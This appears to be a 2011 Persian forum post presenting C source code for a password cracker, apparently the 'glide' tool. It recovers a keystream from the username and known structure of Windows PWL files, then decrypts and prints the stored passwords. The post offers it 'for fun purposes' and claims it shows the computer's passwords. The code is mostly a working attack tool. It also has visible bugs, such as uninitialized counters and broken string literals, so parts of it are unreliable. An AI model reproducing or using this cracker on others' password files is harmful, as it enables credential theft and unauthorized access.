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Title: [C] Get the computer pasword
حالت خطی
#1
Use it for fun purposes.As soon as you run this source code,passwords of computer would be displayed

کد:
# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
    FILE *fd;
    int i,j;
    int size;
    char ch;
    char *name;
    int cracked;
    int sizemask;
    int maxr;
    int rsz;
    int pos;
    int Rall[300];     /* Resourse allocation table */

    if(argc<2){
            printf("usage: glide filename (username)");
            exit(1);
    }
    /* Read PWL file */

    fd=fopen(argv[1],"rb");
    if(fd==NULL){
                  printf("can't open file %s",argv[1]);
                  exit(1);
    }
    size=0;
    while(!feof(fd)){
            Data[size++]=fgetc(fd);
    }
    size--;
    fclose(fd);

    /* Find Username */
    name=argv[1];
    if(argc>2)name=argv[2];
    printf("Username:%s
",name);

    /* Copy encrypted text into keystream */
    cracked=size-0x0208;
    if(cracked<0)cracked=0;
    if(cracked>1000)cracked=1000;
    memcpy(keystream,Data+0x208,cracked);

    /* Generate 20 bytes of keystream */
    for(i=0;i<20;i++){
            ch=toupper(name[i]);
            if(ch==0)break;
            if(ch=='.')break;
            keystream[i]^=ch;
    };
    cracked=20;

    /* Find allocated resources */

    sizemask=keystream[0]+(keystream[1]<<8);
    printf("Sizemask:%04X
",sizemask);

    for(i=0;i<256;i++){
            if(Data[i]!=0xff){
                                Rall[Data[i]]++;
                                if(Data[i]>maxr)maxr=Data[i];
            }
    }

    maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
    divisible by 16 */

    /*Search after resources */

    Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
    for(i=0;i<maxr;i++){
                /* Find the size of current resourse */
                pos=Rpoint[i];
                rsz=Data[pos]+(Data[pos+1]<<8);
                rsz^=sizemask;
                printf("Analysing block with size:%04x    (%d:%d)
",rsz,i,Rall[i]);
                if((Rall[i]==0)&&(rsz!=0)){
                                printf("Unused resourse has nonzero size!!!
");
                                printf("If last line produed any:You may try to recover
");
                                printf("Press y to attempt the recovery
");
                                ch=getch();
                                if(ch!='y')exit(0);
                                rsz=2;
                                i=i-1;
                }
                pos=pos+rsz;

                /* Resourse have a tedency to have the wrong size for some reason*/
                /* Chech for correct size*/

                if(i<maxr-1){
                                while(Data[pos+3]!=keystream[1]){
                                                        printf(":",Data[pos+3]);
                                                        pos=pos+2; /* Very rude may fail */
                                }
                }
                pos+=2; /* Include pointer in size */
                Rpoint[i+1]=pos;
    }
    Rpoint[maxr]=size;
    /* Insert Table data into keystream*/
    for(i=0;i<=maxr;i++){
                    keystream[20+2*i]^=Rpoint[i] & 0x00ff;
                    keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
    }
    cracked+=maxr*2+2;
    printf("%d Bytes of ketstream recoverd
",cracked);

    /* Decrypt resources */
    for(i=0;i<maxr;i++){
                            rsz=Rpoint[i+1]-Rpoint[i];
                            if(rsz>cracked)rsz=cracked;
                            printf("Resource[%d](%d)
",i,rsz);
                            for(j=0;j<rsz;j++)
                            printf("%c",Data[Rpoint[i]+j]^keystream[j]);
                            printf("
");
    }
    exit(0);
}
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
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پیام‌های این موضوع
[C] Get the computer pasword - توسط Amin_Mansouri - 10-11-2011، 11:49 PM

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